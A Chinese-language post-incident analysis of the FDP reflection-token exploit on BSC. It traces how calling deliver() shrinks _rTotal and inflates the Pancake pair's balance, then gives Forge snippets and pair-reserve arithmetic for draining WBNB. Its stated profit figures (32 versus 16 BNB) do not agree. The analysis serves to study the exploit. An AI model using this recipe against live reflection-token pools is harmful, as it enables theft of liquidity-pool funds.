说明 最近几天看到了几个代币通缩类型的漏洞,之前没有太关注。找到了一个最早的发现的代币通缩的漏洞来分析。
基本信息
漏洞函数 balanceOf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000000 * 10**8; uint256 private _rTotal = (MAX - (MAX % _tTotal)); function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; // 资金金额需要结合rate来计算 return tokenFromReflection(_rOwned[account]); }
通过追溯balanceOf的实现,用户余额的计算公式是tokenFromReflection(_rOwned[account。通过最终的函数变形,计算用户余额的计算公式变为:
1 (_rOwned[account]).mul(_tTotal).div(_rTotal)
最终用户的余额与合约中的_rTotal、_tTotal相关。如果可以操作这两者的值或者是修改两者的比值,最终就会影响用户的余额。
但是用户实际的数量是保存在_rOwned map中的。
deliver 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); }
通过跟踪代码调用分析:
uint256 rAmount = tAmount.mul(currentRate)
_rTotal = _rTotal.sub(rAmount) 等价于 _rTotal = _rTotal.sub(tAmount.mul(currentRate))
可以发现:
当有用户调用deliver()函数时,_rTotal减小,最终通过balanceOf()计算用户余额时就会变大。
漏洞分析 由于其中涉及到私有变量,需要通过tenderly动态调试的方式获取内部信息。
闪电贷获得WBNB 为了简化分析步骤,直接利用Forge中deal获得WBNB,省略闪电贷过程。
1 2 // 直接跳过攻击合约中的闪电贷过程 deal(address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c), address(this), 1363426920555815103015);
获得数量为1363426920555815103015 的WBNB。
兑换为FDP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 function WBNBtoFDP() internal { uint256 amountIn = WBNB.balanceOf(address(FDP_WBNB)); uint256 amountOutMin = 0; address[] memory path = new address[](2); path[0] = address(WBNB); path[1] = address(FDP); router.swapExactTokensForTokensSupportingFeeOnTransferTokens( amountIn, amountOutMin, path, address(this), type(uint).max ); }
计算此时的WBNB-FDP pair对和当前攻击合约中欧你个的FDP数量(通过balanceOf计算)是:
WBNB-FDP pair:50060579699495119166869
Attack Contract:49935372988746381368951
通过前面的分析知道,balanceOf和_rTotal、_tTotal、_rOwned[account]有关。为了更加细致地分析其中的计算过程,通过tenderly 查看
查看FDP余额 经过swap将BNB兑换为FDP之后,查看当前的攻击合约中的FDP余额。
1 FDP.balanceOf(address(this));
得到的结果是4993537298874638136895112
通过tenderly的调试
_getCurrentSupply
_rTotal 是113325717736561360461048923028002855415995333992262419986800000000000000000000, _tTotal是97870000000000000000000
最终计算得到的rSupply是33107103357356580186429354115237063258139898376552279287898839819994135860760,tSupply是 28591852496506461370259
_getRate
通过rSupply.div(tSupply),计算得到当前的rate比例。即:
1 2 3 uint256 rSupply = 33107103357356580186429354115237063258139898376552279287898839819994135860760; uint256 tSupply = 28591852496506461370259; uint256 rate = rSupply.div(tSupply);
最终得到的结果是:1157920892373161954235709850086879078532699846656405640
计算得到的结果和tenderly上一致。
balanceOf
通过rAmount.div(currentRate) 即:
1 2 3 uint256 rAmount = 57821211652115897246477601987568750522221190390356458260792248141716357283640; uint256 rate = 1157920892373161954235709850086879078532699846656405640; uint256 result = rAmount.div(rate);
计算得到的结果就是:49935372988746381368951
deliver 1 FDP.deliver(28463162603585437380302);
28463162603585437380302是 攻击者执行的数量。根据deliver的代码,_rTotal和_rOwned[sender]的值都会减小。
1 2 3 4 5 6 7 8 function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); }
tAmount to rAmount
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); }
根据公式,得到rAmount = tAmount.mul(currentRate)
当前情况下:
tAmount:28463162603585437380302(前端传入)
currentRate: 1157920892373161954235709850086879078532699846656405640(之前计算得到)
计算公式是:
1 2 3 uint256 tAmount = 28463162603585437380302; uint256 currentRate = 1157920892373161954235709850086879078532699846656405640; uint256 rAmount = tAmount.mul(currentRate);
最终得到的结果是:32958090641706061430492152078451721676329282022813675127116084151789057703280
_rOwned
1 _rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[sender]表示攻击合约中中的实际代币数量,是
rAmount就是前面计算出来的结果,即 32958090641706061430492152078451721676329282022813675127116084151789057703280
更新之后得到的结果是:
1 2 3 uint256 rOwned = 57821211652115897246477601987568750522221190390356458260792248141716357283640; uint256 rAmount = 32958090641706061430492152078451721676329282022813675127116084151789057703280; uint256 newrOwned = rOwned.sub(rAmount);
最终得到的结果是:24863121010409835815985449909117028845891908367542783133676163989927299580360
_rTotal
1 _rTotal = _rTotal.sub(rAmount)
_rTotal之前计算的结果是:113325717736561360461048923028002855415995333992262419986800000000000000000000
更新之后的计算结果是:
1 2 3 uint256 rTotal = 113325717736561360461048923028002855415995333992262419986800000000000000000000; uint256 rAmount = 32958090641706061430492152078451721676329282022813675127116084151789057703280; uint256 newrTotal = rTotal.sub(rAmount);
最终的结果是80367627094855299030556770949551133739666051969448744859683915848210942296720
所以可以看到,经过调用deliver方法之后,_rTotal和_rOwned[attacker]都发生了变化。
rTotal:80367627094855299030556770949551133739666051969448744859683915848210942296720
_rOwned[attacker]:24863121010409835815985449909117028845891908367542783133676163989927299580360
由于_rTotal发生了变化,最终也影响了Pair合约中的FDP的数量。
此时Pair合约中的BNB的数量没有发生变化,相当于向Pair合约中多注入了FDP代币。
为了保证公式 $$ X\times Y = (X + \Delta X)(Y + \Delta Y) $$
因为其中FDP代币增加了,所以BNB代币就需要减少,通过调用Swap方法就可以提取应该减少的WBNB代币。
计算方法 我们最终需要计算的就是应该提取多少的BNB 数量。
首先分析的计算方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0; uint balance1; address _token0 = token0; address _token1 = token1; if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25))); uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(25))); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Pancake: K'); }
其中关键函数就是:
1 2 3 4 uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25))); uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(25))); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Pancake: K');
在 FDP_WBNB 中,Token0对应的是FDP代币,Token1对应的是WBNB代币。所以balance0 对应的FDP代币的数量,balance1对应的是WBNB代币的数量。
通过deliver()方法之后,FDP.balaceOf(FDP_WBNB)已经变为了11122277578830245110611430 ,通过Pair.getReserve()得到的还是没有更新之前的数据。对应的数据关系是:
balance0:11122277578830245110611430
reserve0:50060579699495119166869
reserve1:32653403218925679012
amount0In
表示的是FDP代币增加的数量,就等于balance0 - reserve0,即
1 2 3 uint256 _reserve0 = 50060579699495119166869; uint256 balance0 = 11122277578830245110611430; amount0In = balance0.sub(_reserve0);
得到结果是11072216999130749991444561
所以,最终就可以计算得到balance1的数量。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 uint256 _reserve0 = 50060579699495119166869; uint256 _reserve1 = 32653403218925679012; uint256 balance0 = 11122277578830245110611430; uint256 amount0In = 11072216999130749991444561; uint256 amount1In = 0; uint256 balance1Adjusted; uint256 balance1; uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25))); // balance1Adjusted = uint(_reserve0).mul(_reserve1).mul(10000**2).div(balance0Adjusted); // 1473373290573472803115 balance1 = balance1Adjusted.add(amount1In.mul(25)).div(10000); // 147337329057347280
最终计算得到balance1的数量是147337329057347280
既然知道了balance1 和_reserve1,就可以计算得到amount1Out.
1 2 3 uint256 _reserve1 = 32653403218925679012; uint256 balance1 = 147337329057347280; amount1Out = _reserve1.sub(balance1); // 32506065889868331732
amount1Out就是可以最终获利的金额,即32BNB。
最终计算得到也和实际攻击者实施攻击的到的数量是吻合的。
对于其中的具体的计算细节,也可以参考tenderly。
集合两者,可以更方便地大家理解其中的计算过程。
获利
最终攻击者获利16BNB。
总结 整体来说,这个漏洞其实原理比较简单,是一个简单的代币通缩的漏洞,但是其中的计算过程是比较复杂的,需要攻击者对Pancake的原理和Token的原理非常的了解,对于Pancake中的计算过程也要非常的清楚。
参考 https://twitter.com/BeosinAlert/status/1622806011269771266